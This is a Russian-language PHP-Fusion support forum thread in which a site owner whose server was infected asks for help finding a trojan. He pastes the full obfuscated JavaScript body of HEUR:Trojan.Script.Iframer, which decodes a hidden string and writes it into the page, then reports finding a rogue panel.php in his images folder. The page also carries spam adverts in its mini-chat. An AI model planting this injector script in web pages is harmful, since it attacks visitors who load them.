На заглавную  |  Контактная информация и обратная связь  |  Поиск    Главная  |  Статьи  |  Downloads  |  Форум  |  FAQ  |  Версия для КПК   July 21 2019 15:48:27  
WEB Design & PHP перейти на главную Статьи Ответы на часто задаваемые вопросы Загрузки Форум
PHP-Fusion Украинская поддержка Статьи Ответы на часто задаваемые вопросы Загрузки Форум
 
 Навигация
Новости
Статьи

FAQ
Поиск

Учебник по HTML
Карта сайта
Ссылки
Обратная связь


Альтернативная карта сайта
RSS новости
Версия для КПК
 
 Спонсоры проекта

Синельниковский информационно-развлекательный портал



Кондиционеры в Киеве


 
 Рассылка новостей
Только для зарегистрированных пользователей
 
 Ваш IP адрес
54.211.135.32
 
 Рекомендуем посетить
 
 Загрузки
Новые файлы
Professional Download ...
База игр
Мод "проверочный код +...
Мод "login redirect"
Мод "register.php + но...
Errors mod
unactivated users v3.0
Мод "index.php + мод п...
Мод "проверочный код в...
Менеджер смайлов
Переработанный плагин ...
Панель статистики (форум)
Гостевая книга
Панель "навигация + св...
Система баннеро-обмена
See bot info
Обновление для версии ...
PHP-Fusion 6.01.12
Руководство пользовате...
Обновление для версии ...

Toп 20 файлов
Колекция кнопочек, ука... [6920]
Плагин интернет магази... [4729]
Button Panel v1.0 [4332]
Professional Download ... [3882]
Black_Tomato [3873]
"Koмпьютерная" тема дл... [3832]
BlueIce-Skaidon [3787]
Карта сайта для PHP-Fu... [3769]
PHP-Fusion 6.01.12 [3604]
Панель "навигация + св... [3468]
Rss парсер для PHP-Fusion [3451]
slideshows_random_phot... [3303]
ZoneCopper [3243]
Руководство пользовате... [3241]
MP3 Архив v.2.0 [3226]
F-Liquid [3159]
FT03 [3156]
Голосование для всех (... [3130]
Работающий TinyMCE.. [3126]
Переработанный плагин ... [2963]
 
 Рекомендуем посетить
 
Для просмотра нажмите стрелку слева Кнопки партнеров
Регистрация и вход
 
 
 Просмотр темы
Web Design PHP-Fusion Ukraine плагины и темы для php-fusion шаблоны сайтов форум поддержки. | PHP-Fusion помощь и советы | Поддержка PHP-Fusion
Автор Вирус залез в файлы на сервере. Помогите найти
Gam
Пользователь

Сообщений: 110
Зарегистрирован: 22.03.07
Опубликовано 10-06-2010 18:16
Здрасьте всем.
Помогите справиться с вирусом.

Касперский определяет как HEUR:Trojan.Script.Iframer
погуглил, нашел:
Тело вируса:
12.01.09 была модификация
<script type="text/javascript">var jGt7H3IkS=Array(63,6,19,54,61,31,22,51,12,33,0,0,0,0,0,0,49,5,4,62,2,25,29,38,39
,44,26,28,42,57,21,34,13,7,56,43,41,47,1,3,37,40,11,0,0,0,0,30,0,14,58,17,27,0,8,
60,16,36,35,20,46,24,48,10,32,9,15,23,52,53,59,50,55,45,18),OmFORSBhopxKumqErMdN3
QYTiogrWyNLb2agSAc="Ewgns28wesYusd8GQ3Ktcs4HoLmts2gnWSInoUgO1S8wo_m96QPxqW8GQ1876sFwB74HZSgwe5R
GELf7W5P@fWgG",JjrjMmsvdcJ8K6muubIPn=0,CCdH_4HW=0,Lv0RDYvi6cLNHfJ=0,EnMfvr1feyNJmFLN6C0pI
DRx7SSTALRmlVGS,KuX2VtJp1ALLHMe=OmFORSBhopxKumqErMdN3QYTiogrWyNLb2agSAc.length,K0
38OalUn4uJ0NbuTkOpcwrqivshmm=1024;window.status=' ';for(var uno17GYg1C=Math.ceil(KuX2VtJp1ALLHMe/K038OalUn4uJ0NbuTkOpcwrqivshmm);uno17GYg1C>0;uno17GYg1C--){EnMfvr1feyNJmFLN6C0pIDRx7SSTALRmlVGS='';for(var wwNLNtvgHo3KskNgx=Math.min(KuX2VtJp1ALLHMe,K038OalUn4uJ0NbuTkOpcwrqivshmm);wwNLN
tvgHo3KskNgx>0;wwNLNtvgHo3KskNgx--,KuX2VtJp1ALLHMe--){JjrjMmsvdcJ8K6muubIPn|=(jGt7H3IkS[OmFORSBhopxKumqErMdN3QYTiogrWyNLb2agSAc.char
CodeAt(Lv0RDYvi6cLNHfJ++)-48])<<CCdH_4HW;if(CCdH_4HW){EnMfvr1feyNJmFLN6C0pIDRx7SSTALRmlVGS+=String.fromCharCo
de(165^JjrjMmsvdcJ8K6muubIPn&255);JjrjMmsvdcJ8K6muubIPn>>=8;CCdH_4HW-=2}else CCdH_4HW=6}document.write(EnMfvr1feyNJmFLN6C0pIDRx7SSTALRmlVGS);}</script>



Но порылся в файлах, у меня подобного кода нет.


Как можно найти куда залез этот троян?
Автор RE: Вирус залез в файлы на сервере. Помогите найти
Gam
Пользователь

Сообщений: 110
Зарегистрирован: 22.03.07
Опубликовано 10-06-2010 19:10
Похоже нашел.
Был найден левый файл в папке images - panel.php

Но блин удалил его сразу с сервера, сразу не подумал что стоит открыть его и посмотреть что там smiley
Перейти на форум:
 

Украинская Баннерная Сеть
 
 Категории новостей
Для просмотра нажмите стрелку слева Наш банер
RSS новости php fusion  Новости RSS
 Просьба...
Убедительная просьба!
Свои вопросы касательно
PHP-Fusion,
задавать в форум,
а не в миничат!

Миничат для флуда,
а если хотите получить ответ,
то к Вам убедительная просьба
- - - -

Пишите в форум!!!

 
Для просмотра нажмите стрелку слева 
Смена Темы
Нажмите (F5) для обновления
 Мини-чат
Вам необходимо залогиниться.

DavidRex
31/05/2019 22:48
«Папиловит» — быстро и безопасно избавит от любых папиллом и бородавок. Наш сайт: https://lcokbhlw.bestsell
er-super.ru


DavidRex
26/05/2019 02:15
«Папиловит» — быстро и безопасно избавит от любых папиллом и бородавок. Наш сайт: https://lcokbhlw.bestsell
er-super.ru


Titan2
06/02/2019 02:07
Усановил submit_news_with_h tml_editor , но там надо подтверждение админом а мне не надо как єто сделать ПЛИЗЗ

maf
06/06/2013 15:10
Зачем на амеров пинять - сами то что полезного сделали хоть раз? Или абы только потрындеть?

kot2007
18/05/2013 11:31
Почитав про USA http://www.php-fusion.co.
uk/news.php?readmore=572 , згадав про цей сайт... А тут вже все пилом припало і павутиною заросло smiley


Архив чата
 
 Категории статей
 Последние статьи
Создание и раскрутка...
Шаблоны сайтов или о...
Как выбрать камеру в...
Устройство тем в Php...
Файл robots.txt и ег...
Выбор ключевых слов ...
Работа с кодировками
Индекс цитирования
PHP 5 -что изменилось?
 
 Партнеры проекта